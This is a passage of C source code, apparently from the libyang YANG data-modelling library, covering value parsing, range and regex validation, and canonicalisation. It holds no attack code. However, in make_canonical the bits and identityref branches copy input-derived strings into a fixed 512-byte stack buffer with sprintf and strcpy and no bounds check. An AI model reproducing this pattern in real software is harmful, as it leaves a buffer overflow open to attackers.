(*type)->info.enums.enm[1].iffeature_size = 1; (*type)->info.enums.enm[1].iffeature = calloc(1, sizeof(struct lys_feature)); LY_CHECK_ERR_RETURN(!(*type)->info.enums.enm[1].iffeature, LOGMEM(ctx), EXIT_FAILURE); (*type)->info.enums.enm[1].iffeature[0].expr = malloc(sizeof(uint8_t)); LY_CHECK_ERR_RETURN(!(*type)->info.enums.enm[1].iffeature[0].expr, LOGMEM(ctx), EXIT_FAILURE); *(*type)->info.enums.enm[1].iffeature[0].expr = 3; /* LYS_IFF_F */ (*type)->info.enums.enm[1].iffeature[0].features = malloc(sizeof(struct lys_feature*)); LY_CHECK_ERR_RETURN(!(*type)->info.enums.enm[1].iffeature[0].features, LOGMEM(ctx), EXIT_FAILURE); (*type)->info.enums.enm[1].iffeature[0].features[0] = &mod->features[i - 1]; break; } } mod->ext_size++; /* 3) filter's select */ op = calloc(1, (sizeof(struct lys_ext_instance_complex) - 1) + 5 * sizeof(void*) + sizeof(uint16_t)); LY_CHECK_ERR_RETURN(!op, LOGMEM(ctx), EXIT_FAILURE); mod->ext[mod->ext_size] = (struct lys_ext_instance *)op; op->arg_value = lydict_insert(ctx, "select", 6); op->def = &ctx->models.list[0]->extensions[0]; op->ext_type = LYEXT_COMPLEX; op->module = op->parent = mod; op->parent_type = LYEXT_PAR_MODULE; op->substmt = ((struct lyext_plugin_complex *)op->def->plugin)->substmt; op->nodetype = LYS_EXT; type = (struct lys_type**)&op->content; /* type is stored at offset 0 */ *type = calloc(1, sizeof(struct lys_type)); LY_CHECK_ERR_RETURN(!*type, LOGMEM(ctx), EXIT_FAILURE); (*type)->base = LY_TYPE_STRING; (*type)->der = ly_types[LY_TYPE_STRING]; (*type)->parent = (struct lys_tpdf *)op; mod->ext_size++; /* 4) URL config */ anyxml = calloc(1, sizeof *anyxml); LY_CHECK_ERR_RETURN(!anyxml, LOGMEM(ctx), EXIT_FAILURE); anyxml->nodetype = LYS_ANYXML; anyxml->prev = (struct lys_node *)anyxml; anyxml->name = lydict_insert(ctx, "config", 0); anyxml->module = mod; anyxml->flags = LYS_CONFIG_W; if (lys_node_addchild(NULL, mod, (struct lys_node *)anyxml, 0)) { return EXIT_FAILURE; } return EXIT_SUCCESS; } /* logs directly * base: 0 - to accept decimal, octal, hexadecimal (in default value) * 10 - to accept only decimal (instance value) */ static int parse_int(const char *val_str, int64_t min, int64_t max, int base, int64_t *ret, struct lyd_node *node) { char *strptr; assert(node); if (!val_str || !val_str[0]) { goto error; } /* convert to 64-bit integer, all the redundant characters are handled */ errno = 0; strptr = NULL; /* parse the value */ *ret = strtoll(val_str, &strptr, base); if (errno || (*ret < min) || (*ret > max)) { goto error; } else if (strptr && *strptr) { while (isspace(*strptr)) { ++strptr; } if (*strptr) { goto error; } } return EXIT_SUCCESS; error: LOGVAL(node->schema->module->ctx, LYE_INVAL, LY_VLOG_LYD, node, val_str ? val_str : "", node->schema->name); return EXIT_FAILURE; } /* logs directly * base: 0 - to accept decimal, octal, hexadecimal (in default value) * 10 - to accept only decimal (instance value) */ static int parse_uint(const char *val_str, uint64_t max, int base, uint64_t *ret, struct lyd_node *node) { char *strptr; uint64_t u; assert(node); if (!val_str || !val_str[0]) { goto error; } errno = 0; strptr = NULL; u = strtoull(val_str, &strptr, base); if (errno || (u > max)) { goto error; } else if (strptr && *strptr) { while (isspace(*strptr)) { ++strptr; } if (*strptr) { goto error; } } else if (u != 0 && val_str[0] == '-') { goto error; } *ret = u; return EXIT_SUCCESS; error: LOGVAL(node->schema->module->ctx, LYE_INVAL, LY_VLOG_LYD, node, val_str ? val_str : "", node->schema->name); return EXIT_FAILURE; } /* logs directly * * kind == 0 - unsigned (unum used), 1 - signed (snum used), 2 - floating point (fnum used) */ static int validate_length_range(uint8_t kind, uint64_t unum, int64_t snum, int64_t fnum, uint8_t fnum_dig, struct lys_type *type, const char *val_str, struct lyd_node *node) { struct lys_restr *restr = NULL; struct len_ran_intv *intv = NULL, *tmp_intv; struct lys_type *cur_type; struct ly_ctx *ctx = type->parent->module->ctx; int match; if (resolve_len_ran_interval(ctx, NULL, type, &intv)) { /* already done during schema parsing */ LOGINT(ctx); return EXIT_FAILURE; } if (!intv) { return EXIT_SUCCESS; } /* I know that all intervals belonging to a single restriction share one type pointer */ tmp_intv = intv; cur_type = intv->type; do { match = 0; for (; tmp_intv && (tmp_intv->type == cur_type); tmp_intv = tmp_intv->next) { if (match) { /* just iterate through the rest of this restriction intervals */ continue; } if (((kind == 0) && (unum < tmp_intv->value.uval.min)) || ((kind == 1) && (snum < tmp_intv->value.sval.min)) || ((kind == 2) && (dec64cmp(fnum, fnum_dig, tmp_intv->value.fval.min, cur_type->info.dec64.dig) < 0))) { break; } if (((kind == 0) && (unum >= tmp_intv->value.uval.min) && (unum <= tmp_intv->value.uval.max)) || ((kind == 1) && (snum >= tmp_intv->value.sval.min) && (snum <= tmp_intv->value.sval.max)) || ((kind == 2) && (dec64cmp(fnum, fnum_dig, tmp_intv->value.fval.min, cur_type->info.dec64.dig) > -1) && (dec64cmp(fnum, fnum_dig, tmp_intv->value.fval.max, cur_type->info.dec64.dig) < 1))) { match = 1; } } if (!match) { break; } else if (tmp_intv) { cur_type = tmp_intv->type; } } while (tmp_intv); while (intv) { tmp_intv = intv->next; free(intv); intv = tmp_intv; } if (!match) { switch (cur_type->base) { case LY_TYPE_BINARY: restr = cur_type->info.binary.length; break; case LY_TYPE_DEC64: restr = cur_type->info.dec64.range; break; case LY_TYPE_INT8: case LY_TYPE_INT16: case LY_TYPE_INT32: case LY_TYPE_INT64: case LY_TYPE_UINT8: case LY_TYPE_UINT16: case LY_TYPE_UINT32: case LY_TYPE_UINT64: restr = cur_type->info.num.range; break; case LY_TYPE_STRING: restr = cur_type->info.str.length; break; default: LOGINT(ctx); return EXIT_FAILURE; } LOGVAL(ctx, LYE_NOCONSTR, LY_VLOG_LYD, node, (val_str ? val_str : ""), restr ? restr->expr : ""); if (restr && restr->emsg) { ly_vlog_str(ctx, LY_VLOG_PREV, restr->emsg); } if (restr && restr->eapptag) { ly_err_last_set_apptag(ctx, restr->eapptag); } return EXIT_FAILURE; } return EXIT_SUCCESS; } /* logs directly */ static int validate_pattern(struct ly_ctx *ctx, const char *val_str, struct lys_type *type, struct lyd_node *node) { int rc; unsigned int i; #ifndef LY_ENABLED_CACHE pcre *precomp; #endif assert(ctx && (type->base == LY_TYPE_STRING)); if (!val_str) { val_str = ""; } if (type->der && validate_pattern(ctx, val_str, &type->der->type, node)) { return EXIT_FAILURE; } #ifdef LY_ENABLED_CACHE /* there is no cache, build it */ if (!type->info.str.patterns_pcre && type->info.str.pat_count) { type->info.str.patterns_pcre = malloc(2 * type->info.str.pat_count * sizeof *type->info.str.patterns_pcre); LY_CHECK_ERR_RETURN(!type->info.str.patterns_pcre, LOGMEM(ctx), -1); for (i = 0; i < type->info.str.pat_count; ++i) { if (lyp_precompile_pattern(ctx, &type->info.str.patterns[i].expr[1], (pcre**)&type->info.str.patterns_pcre[i * 2], (pcre_extra**)&type->info.str.patterns_pcre[i * 2 + 1])) { return EXIT_FAILURE; } } } #endif for (i = 0; i < type->info.str.pat_count; ++i) { #ifdef LY_ENABLED_CACHE rc = pcre_exec((pcre *)type->info.str.patterns_pcre[2 * i], (pcre_extra *)type->info.str.patterns_pcre[2 * i + 1], val_str, strlen(val_str), 0, 0, NULL, 0); #else if (lyp_check_pattern(ctx, &type->info.str.patterns[i].expr[1], &precomp)) { return EXIT_FAILURE; } rc = pcre_exec(precomp, NULL, val_str, strlen(val_str), 0, 0, NULL, 0); free(precomp); #endif if ((rc && type->info.str.patterns[i].expr[0] == 0x06) || (!rc && type->info.str.patterns[i].expr[0] == 0x15)) { LOGVAL(ctx, LYE_NOCONSTR, LY_VLOG_LYD, node, val_str, &type->info.str.patterns[i].expr[1]); if (type->info.str.patterns[i].emsg) { ly_vlog_str(ctx, LY_VLOG_PREV, type->info.str.patterns[i].emsg); } if (type->info.str.patterns[i].eapptag) { ly_err_last_set_apptag(ctx, type->info.str.patterns[i].eapptag); } return EXIT_FAILURE; } } return EXIT_SUCCESS; } static void check_number(const char *str_num, const char **num_end, LY_DATA_TYPE base) { if (!isdigit(str_num[0]) && (str_num[0] != '-') && (str_num[0] != '+')) { *num_end = str_num; return; } if ((str_num[0] == '-') || (str_num[0] == '+')) { ++str_num; } while (isdigit(str_num[0])) { ++str_num; } if ((base != LY_TYPE_DEC64) || (str_num[0] != '.') || !isdigit(str_num[1])) { *num_end = str_num; return; } ++str_num; while (isdigit(str_num[0])) { ++str_num; } *num_end = str_num; } /** * @brief Checks the syntax of length or range statement, * on success checks the semantics as well. Does not log. * * @param[in] expr Length or range expression. * @param[in] type Type with the restriction. * * @return EXIT_SUCCESS on success, EXIT_FAILURE otherwise. */ int lyp_check_length_range(struct ly_ctx *ctx, const char *expr, struct lys_type *type) { struct len_ran_intv *intv = NULL, *tmp_intv; const char *c = expr, *tail; int ret = EXIT_FAILURE, flg = 1; /* first run flag */ assert(expr); lengthpart: while (isspace(*c)) { c++; } /* lower boundary or explicit number */ if (!strncmp(c, "max", 3)) { max: c += 3; while (isspace(*c)) { c++; } if (*c != '\0') { goto error; } goto syntax_ok; } else if (!strncmp(c, "min", 3)) { if (!flg) { /* min cannot be used elsewhere than in the first length-part */ goto error; } else { flg = 0; } c += 3; while (isspace(*c)) { c++; } if (*c == '|') { c++; /* process next length-part */ goto lengthpart; } else if (*c == '\0') { goto syntax_ok; } else if (!strncmp(c, "..", 2)) { upper: c += 2; while (isspace(*c)) { c++; } if (*c == '\0') { goto error; } /* upper boundary */ if (!strncmp(c, "max", 3)) { goto max; } check_number(c, &tail, type->base); if (c == tail) { goto error; } c = tail; while (isspace(*c)) { c++; } if (*c == '\0') { goto syntax_ok; } else if (*c == '|') { c++; /* process next length-part */ goto lengthpart; } else { goto error; } } else { goto error; } } else if (isdigit(*c) || (*c == '-') || (*c == '+')) { /* number */ check_number(c, &tail, type->base); if (c == tail) { goto error; } c = tail; while (isspace(*c)) { c++; } if (*c == '|') { c++; /* process next length-part */ goto lengthpart; } else if (*c == '\0') { goto syntax_ok; } else if (!strncmp(c, "..", 2)) { goto upper; } } else { goto error; } syntax_ok: if (resolve_len_ran_interval(ctx, expr, type, &intv)) { goto error; } ret = EXIT_SUCCESS; error: while (intv) { tmp_intv = intv->next; free(intv); intv = tmp_intv; } return ret; } /** * @brief Checks pattern syntax. Logs directly. * * @param[in] pattern Pattern to check. * @param[out] pcre_precomp Precompiled PCRE pattern. Can be NULL. * @return EXIT_SUCCESS on success, EXIT_FAILURE otherwise. */ int lyp_check_pattern(struct ly_ctx *ctx, const char *pattern, pcre **pcre_precomp) { int idx, idx2, start, end, err_offset, count; char *perl_regex, *ptr; const char *err_msg, *orig_ptr; pcre *precomp; /* * adjust the expression to a Perl equivalent * * http://www.w3.org/TR/2004/REC-xmlschema-2-20041028/#regexs */ /* we need to replace all "$" with "\$", count them now */ for (count = 0, ptr = strchr(pattern, '$'); ptr; ++count, ptr = strchr(ptr + 1, '$')); perl_regex = malloc((strlen(pattern) + 4 + count) * sizeof(char)); LY_CHECK_ERR_RETURN(!perl_regex, LOGMEM(ctx), EXIT_FAILURE); perl_regex[0] = '\0'; ptr = perl_regex; if (strncmp(pattern + strlen(pattern) - 2, ".*", 2)) { /* we wil add line-end anchoring */ ptr[0] = '('; ++ptr; } for (orig_ptr = pattern; orig_ptr[0]; ++orig_ptr) { if (orig_ptr[0] == '$') { ptr += sprintf(ptr, "\\$"); } else { ptr[0] = orig_ptr[0]; ++ptr; } } if (strncmp(pattern + strlen(pattern) - 2, ".*", 2)) { ptr += sprintf(ptr, ")$"); } else { ptr[0] = '\0'; ++ptr; } /* substitute Unicode Character Blocks with exact Character Ranges */ while ((ptr = strstr(perl_regex, "\\p{Is"))) { start = ptr - perl_regex; ptr = strchr(ptr, '}'); if (!ptr) { LOGVAL(ctx, LYE_INREGEX, LY_VLOG_NONE, NULL, pattern, perl_regex + start + 2, "unterminated character property"); free(perl_regex); return EXIT_FAILURE; } end = (ptr - perl_regex) + 1; /* need more space */ if (end - start < LYP_URANGE_LEN) { perl_regex = ly_realloc(perl_regex, strlen(perl_regex) + (LYP_URANGE_LEN - (end - start)) + 1); LY_CHECK_ERR_RETURN(!perl_regex, LOGMEM(ctx); free(perl_regex), EXIT_FAILURE); } /* find our range */ for (idx = 0; lyp_ublock2urange[idx][0]; ++idx) { if (!strncmp(perl_regex + start + 5, lyp_ublock2urange[idx][0], strlen(lyp_ublock2urange[idx][0]))) { break; } } if (!lyp_ublock2urange[idx][0]) { LOGVAL(ctx, LYE_INREGEX, LY_VLOG_NONE, NULL, pattern, perl_regex + start + 5, "unknown block name"); free(perl_regex); return EXIT_FAILURE; } /* make the space in the string and replace the block (but we cannot include brackets if it was already enclosed in them) */ for (idx2 = 0, count = 0; idx2 < start; ++idx2) { if ((perl_regex[idx2] == '[') && (!idx2 || (perl_regex[idx2 - 1] != '\\'))) { ++count; } if ((perl_regex[idx2] == ']') && (!idx2 || (perl_regex[idx2 - 1] != '\\'))) { --count; } } if (count) { /* skip brackets */ memmove(perl_regex + start + (LYP_URANGE_LEN - 2), perl_regex + end, strlen(perl_regex + end) + 1); memcpy(perl_regex + start, lyp_ublock2urange[idx][1] + 1, LYP_URANGE_LEN - 2); } else { memmove(perl_regex + start + LYP_URANGE_LEN, perl_regex + end, strlen(perl_regex + end) + 1); memcpy(perl_regex + start, lyp_ublock2urange[idx][1], LYP_URANGE_LEN); } } /* must return 0, already checked during parsing */ precomp = pcre_compile(perl_regex, PCRE_ANCHORED | PCRE_DOLLAR_ENDONLY | PCRE_NO_AUTO_CAPTURE, &err_msg, &err_offset, NULL); if (!precomp) { LOGVAL(ctx, LYE_INREGEX, LY_VLOG_NONE, NULL, pattern, perl_regex + err_offset, err_msg); free(perl_regex); return EXIT_FAILURE; } free(perl_regex); if (pcre_precomp) { *pcre_precomp = precomp; } else { free(precomp); } return EXIT_SUCCESS; } int lyp_precompile_pattern(struct ly_ctx *ctx, const char *pattern, pcre** pcre_cmp, pcre_extra **pcre_std) { const char *err_msg = NULL; if (lyp_check_pattern(ctx, pattern, pcre_cmp)) { return EXIT_FAILURE; } if (pcre_std && pcre_cmp) { (*pcre_std) = pcre_study(*pcre_cmp, 0, &err_msg); if (err_msg) { LOGWRN(ctx, "Studying pattern \"%s\" failed (%s).", pattern, err_msg); } } return EXIT_SUCCESS; } /** * @brief Change the value into its canonical form. In libyang, additionally to the RFC, * all identities have their module as a prefix in their canonical form. * * @param[in] ctx * @param[in] type Type of the value. * @param[in,out] value Original and then canonical value. * @param[in] data1 If \p type is #LY_TYPE_BITS: (struct lys_type_bit **) type bit field, * #LY_TYPE_DEC64: (int64_t *) parsed digits of the number itself without floating point, * #LY_TYPE_IDENT: (const char *) local module name (identityref node module), * #LY_TYPE_INT*: (int64_t *) parsed int number itself, * #LY_TYPE_UINT*: (uint64_t *) parsed uint number itself, * otherwise ignored. * @param[in] data2 If \p type is #LY_TYPE_BITS: (int *) type bit field length, * #LY_TYPE_DEC64: (uint8_t *) number of fraction digits (position of the floating point), * otherwise ignored. * @return 1 if a conversion took place, 0 if the value was kept the same. */ static int make_canonical(struct ly_ctx *ctx, int type, const char **value, void *data1, void *data2) { const uint16_t buf_len = 511; char buf[buf_len + 1]; struct lys_type_bit **bits = NULL; struct lyxp_expr *exp; const char *module_name, *cur_expr, *end; int i, j, count; int64_t num; uint64_t unum; uint8_t c; switch (type) { case LY_TYPE_BITS: bits = (struct lys_type_bit **)data1; count = *((int *)data2); /* in canonical form, the bits are ordered by their position */ buf[0] = '\0'; for (i = 0; i < count; i++) { if (!bits[i]) { /* bit not set */ continue; } if (buf[0]) { sprintf(buf + strlen(buf), " %s", bits[i]->name); } else { strcpy(buf, bits[i]->name); } } break; case LY_TYPE_IDENT: module_name = (const char *)data1; /* identity must always have a prefix */ if (!strchr(*value, ':')) { sprintf(buf, "%s:%s", module_name, *value); } else { strcpy(buf, *value); } break; case LY_TYPE_INST: exp = lyxp_parse_expr(ctx, *value); LY_CHECK_ERR_RETURN(!exp, LOGINT(ctx), 0); module_name = NULL; count = 0; for (i = 0; (unsigned)i < exp->used; ++i) { cur_expr = &exp->expr[exp->expr_pos[i]]; /* copy WS */ if (i && ((end = exp->expr + exp->expr_pos[i - 1] + exp->tok_len[i - 1]) != cur_expr)) { if (count + (cur_expr - end) > buf_len) { LOGINT(ctx); lyxp_expr_free(exp); return 0; } strncpy(&buf[count], end, cur_expr - end); count += cur_expr - end; } if ((exp->tokens[i] == LYXP_TOKEN_NAMETEST) && (end = strnchr(cur_expr, ':', exp->tok_len[i]))) { /* get the module name with ":" */ ++end; j = end - cur_expr; if (!module_name || strncmp(cur_expr, module_name, j)) { /* print module name with colon, it does not equal to the parent one */ if (count + j > buf_len) { LOGINT(ctx); lyxp_expr_free(exp); return 0; } strncpy(&buf[count], cur_expr, j); count += j; } module_name = cur_expr; /* copy the rest */ if (count + (exp->tok_len[i] - j) > buf_len) { LOGINT(ctx); lyxp_expr_free(exp); return 0; } strncpy(&buf[count], end, exp->tok_len[i] - j); count += exp->tok_len[i] - j; } else { if (count + exp->tok_len[i] > buf_len) { LOGINT(ctx); lyxp_expr_free(exp); return 0; } strncpy(&buf[count], &exp->expr[exp->expr_pos[i]], exp->tok_len[i]); count += exp->tok_len[i]; } } if (count > buf_len) { LOGINT(ctx); lyxp_expr_free(exp); return 0; } buf[count] = '\0'; lyxp_expr_free(exp); break; case LY_TYPE_DEC64: num = *((int64_t *)data1); c = *((uint8_t *)data2); if (num) { count = sprintf(buf, "%"PRId64" ", num); if ( (num > 0 && (count - 1) <= c) || (count - 2) <= c ) { /* we have 0. value, print the value with the leading zeros * (one for 0. and also keep the correct with of num according * to fraction-digits value) * for (num<0) - extra character for '-' sign */ count = sprintf(buf, "%0*"PRId64" ", (num > 0) ? (c + 1) : (c + 2), num); } for (i = c, j = 1; i > 0 ; i--) { if (j && i > 1 && buf[count - 2] == '0') { /* we have trailing zero to skip */ buf[count - 1] = '\0'; } else { j = 0; buf[count - 1] = buf[count - 2]; } count--; } buf[count - 1] = '.'; } else { /* zero */ sprintf(buf, "0.0"); } break; case LY_TYPE_INT8: case LY_TYPE_INT16: case LY_TYPE_INT32: case LY_TYPE_INT64: num = *((int64_t *)data1); sprintf(buf, "%"PRId64, num); break; case LY_TYPE_UINT8: case LY_TYPE_UINT16: case LY_TYPE_UINT32: case LY_TYPE_UINT64: unum = *((uint64_t *)data1); sprintf(buf, "%"PRIu64, unum); break; default: /* should not be even called - just do nothing */ return 0; } if (strcmp(buf, *value)) { lydict_remove(ctx, *value); *value = lydict_insert(ctx, buf, 0); return 1; } return 0; } static const char * ident_val_add_module_prefix(const char *value, const struct lyxml_elem *xml, struct ly_ctx *ctx) { const struct lyxml_ns *ns; const struct lys_module *mod; char *str; do { LY_TREE_FOR((struct lyxml_ns *)xml->attr, ns) { if ((ns->type == LYXML_ATTR_NS) && !ns->prefix) { /* match */ break; } } if (!ns) { xml = xml->parent; } } while (!ns && xml); if (!ns) { /* no default namespace */ LOGINT(ctx); return NULL; } /* find module */ mod = ly_ctx_get_module_by_ns(ctx, ns->value, NULL, 1); if (!mod) { LOGINT(ctx); return NULL; } if (asprintf(&str, "%s:%s", mod->name, value) == -1) { LOGMEM(ctx); return NULL; } lydict_remove(ctx, value); return lydict_insert_zc(ctx, str); } /* * xml - optional for converting instance-identifier and identityref into JSON format * leaf - mandatory to know the context (necessary e.g. for prefixes in idenitytref values) * attr - alternative to leaf in case of parsing value in annotations (attributes) * local_mod - optional if the local module dos not match the module of leaf/attr * store - flag for union resolution - we do not want to store the result, we are just learning the type * dflt - whether the value is a default value from the schema * trusted - whether the value is trusted to be valid (but may not be canonical, so it is canonized) */ struct lys_type * lyp_parse_value(struct lys_type *type, const char **value_, struct lyxml_elem *xml, struct lyd_node_leaf_list *leaf, struct lyd_attr *attr, struct lys_module *local_mod, int store, int dflt, int trusted) { struct lys_type *ret = NULL, *t; struct lys_tpdf *tpdf; enum int_log_opts prev_ilo; int c, len, found = 0; unsigned int i, j; int64_t num; uint64_t unum, uind, u = 0; const char *ptr, *value = *value_, *itemname, *old_val_str = NULL; struct lys_type_bit **bits = NULL; struct lys_ident *ident; lyd_val *val, old_val; LY_DATA_TYPE *val_type, old_val_type; uint8_t *val_flags, old_val_flags; struct lyd_node *contextnode; struct ly_ctx *ctx = type->parent->module->ctx; assert(leaf || attr); if (leaf) { assert(!attr); if (!local_mod) { local_mod = leaf->schema->module; } val = &leaf->value; val_type = &leaf->value_type; val_flags = &leaf->value_flags; contextnode = (struct lyd_node *)leaf; itemname = leaf->schema->name; } else { assert(!leaf); if (!local_mod) { local_mod = attr->annotation->module; } val = &attr->value; val_type = &attr->value_type; val_flags = &attr->value_flags; contextnode = attr->parent; itemname = attr->name; } /* fully clear the value */ if (store) { old_val_str = lydict_insert(ctx, *value_, 0); lyd_free_value(*val, *val_type, *val_flags, type, old_val_str, &old_val, &old_val_type, &old_val_flags); *val_flags &= ~LY_VALUE_UNRES; } switch (type->base) { case LY_TYPE_BINARY: /* get number of octets for length validation */ unum = 0; ptr = NULL; if (value) { /* silently skip leading/trailing whitespaces */ for (uind = 0; isspace(value[uind]); ++uind); ptr = &value[uind]; u = strlen(ptr); while (u && isspace(ptr[u - 1])) { --u; } unum = u; for (uind = 0; uind < u; ++uind) { if (ptr[uind] == '\n') { unum--; } else if ((ptr[uind] < '/' && ptr[uind] != '+') || (ptr[uind] > '9' && ptr[uind] < 'A') || (ptr[uind] > 'Z' && ptr[uind] < 'a') || ptr[uind] > 'z') { if (ptr[uind] == '=') { /* padding */ if (uind == u - 2 && ptr[uind + 1] == '=') { found = 2; uind++; } else if (uind == u - 1) { found = 1; } } if (!found) { /* error */ LOGVAL(ctx, LYE_INCHAR, LY_VLOG_LYD, contextnode, ptr[uind], &ptr[uind]); LOGVAL(ctx, LYE_SPEC, LY_VLOG_PREV, NULL, "Invalid Base64 character."); goto error; } } } } if (unum & 3) { /* base64 length must be multiple of 4 chars */ if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, value, itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, value); } LOGVAL(ctx, LYE_SPEC, LY_VLOG_PREV, NULL, "Base64 encoded value length must be divisible by 4."); goto error; } /* length of the encoded string */ len = ((unum / 4) * 3) - found; if (!trusted && validate_length_range(0, len, 0, 0, 0, type, value, contextnode)) { goto error; } if (value && (ptr != value || ptr[u] != '\0')) { /* update the changed value */ ptr = lydict_insert(ctx, ptr, u); lydict_remove(ctx, *value_); *value_ = ptr; } if (store) { /* store the result */ val->binary = value; *val_type = LY_TYPE_BINARY; } break; case LY_TYPE_BITS: /* locate bits structure with the bits definitions * since YANG 1.1 allows restricted bits, it is the first * bits type with some explicit bit specification */ for (; !type->info.bits.count; type = &type->der->type); if (value || store) { /* allocate the array of pointers to bits definition */ bits = calloc(type->info.bits.count, sizeof *bits); LY_CHECK_ERR_GOTO(!bits, LOGMEM(ctx), error); } if (!value) { /* no bits set */ if (store) { /* store empty array */ val->bit = bits; *val_type = LY_TYPE_BITS; } break; } c = 0; i = 0; while (value[c]) { /* skip leading whitespaces */ while (isspace(value[c])) { c++; } if (!value[c]) { /* trailing white spaces */ break; } /* get the length of the bit identifier */ for (len = 0; value[c] && !isspace(value[c]); c++, len++); /* go back to the beginning of the identifier */ c = c - len; /* find bit definition, identifiers appear ordered by their position */ for (found = i = 0; i < type->info.bits.count; i++) { if (!strncmp(type->info.bits.bit[i].name, &value[c], len) && !type->info.bits.bit[i].name[len]) { /* we have match, check if the value is enabled ... */ for (j = 0; !trusted && (j < type->info.bits.bit[i].iffeature_size); j++) { if (!resolve_iffeature(&type->info.bits.bit[i].iffeature[j])) { if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, value, itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, value); } LOGVAL(ctx, LYE_SPEC, LY_VLOG_PREV, NULL, "Bit \"%s\" is disabled by its %d. if-feature condition.", type->info.bits.bit[i].name, j + 1); free(bits); goto error; } } /* check that the value was not already set */ if (bits[i]) { if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, value, itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, value); } LOGVAL(ctx, LYE_SPEC, LY_VLOG_PREV, NULL, "Bit \"%s\" used multiple times.", type->info.bits.bit[i].name); free(bits); goto error; } /* ... and then store the pointer */ bits[i] = &type->info.bits.bit[i]; /* stop searching */ found = 1; break; } } if (!found) { /* referenced bit value does not exist */ if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, value, itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, value); } free(bits); goto error; } c = c + len; } make_canonical(ctx, LY_TYPE_BITS, value_, bits, &type->info.bits.count); if (store) { /* store the result */ val->bit = bits; *val_type = LY_TYPE_BITS; } else { free(bits); } break; case LY_TYPE_BOOL: if (value && !strcmp(value, "true")) { if (store) { val->bln = 1; } } else if (!value || strcmp(value, "false")) { if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, value ? value : "", itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, value ? value : ""); } goto error; } else { if (store) { val->bln = 0; } } if (store) { *val_type = LY_TYPE_BOOL; } break; case LY_TYPE_DEC64: if (!value || !value[0]) { if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, "", itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, ""); } goto error; } ptr = value; if (parse_range_dec64(&ptr, type->info.dec64.dig, &num) || ptr[0]) { if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, value, itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, value); } goto error; } if (!trusted && validate_length_range(2, 0, 0, num, type->info.dec64.dig, type, value, contextnode)) { goto error; } make_canonical(ctx, LY_TYPE_DEC64, value_, &num, &type->info.dec64.dig); if (store) { /* store the result */ val->dec64 = num; *val_type = LY_TYPE_DEC64; } break; case LY_TYPE_EMPTY: if (value && value[0]) { if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, value, itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, value); } goto error; } if (store) { *val_type = LY_TYPE_EMPTY; } break; case LY_TYPE_ENUM: /* locate enums structure with the enumeration definitions, * since YANG 1.1 allows restricted enums, it is the first * enum type with some explicit enum specification */ for (; !type->info.enums.count; type = &type->der->type); /* find matching enumeration value */ for (i = found = 0; i < type->info.enums.count; i++) { if (value && !strcmp(value, type->info.enums.enm[i].name)) { /* we have match, check if the value is enabled ... */ for (j = 0; !trusted && (j < type->info.enums.enm[i].iffeature_size); j++) { if (!resolve_iffeature(&type->info.enums.enm[i].iffeature[j])) { if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, value, itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, value); } LOGVAL(ctx, LYE_SPEC, LY_VLOG_PREV, NULL, "Enum \"%s\" is disabled by its %d. if-feature condition.", value, j + 1); goto error; } } /* ... and store pointer to the definition */ if (store) { val->enm = &type->info.enums.enm[i]; *val_type = LY_TYPE_ENUM; } found = 1; break; } } if (!found) { if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, value ? value : "", itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, value ? value : ""); } goto error; } break; case LY_TYPE_IDENT: if (!value) { if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, "", itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, ""); } goto error; } if (xml) { ly_ilo_change(NULL, ILO_IGNORE, &prev_ilo, NULL); /* first, convert value into the json format, silently */ value = transform_xml2json(ctx, value, xml, 0, 0); ly_ilo_restore(NULL, prev_ilo, NULL, 0); if (!value) { /* invalid identityref format */ if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, *value_, itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, *value_); } goto error; } /* the value has no prefix (default namespace), but the element's namespace has a prefix, find default namespace */ if (!strchr(value, ':') && xml->ns->prefix) { value = ident_val_add_module_prefix(value, xml, ctx); if (!value) { goto error; } } } else if (dflt) { ly_ilo_change(NULL, ILO_IGNORE, &prev_ilo, NULL); /* the value actually uses module's prefixes instead of the module names as in JSON format, * we have to convert it */ value = transform_schema2json(local_mod, value); ly_ilo_restore(NULL, prev_ilo, NULL, 0); if (!value) { /* invalid identityref format or it was already transformed, so ignore the error here */ value = lydict_insert(ctx, *value_, 0); } } else { value = lydict_insert(ctx, *value_, 0); } /* value is now in the dictionary, whether it differs from *value_ or not */ ident = resolve_identref(type, value, contextnode, local_mod, dflt); if (!ident) { lydict_remove(ctx, value); goto error; } else if (store) { /* store the result */ val->ident = ident; *val_type = LY_TYPE_IDENT; } /* the value is always changed and includes prefix */ if (dflt) { type->parent->flags |= LYS_DFLTJSON; } make_canonical(ctx, 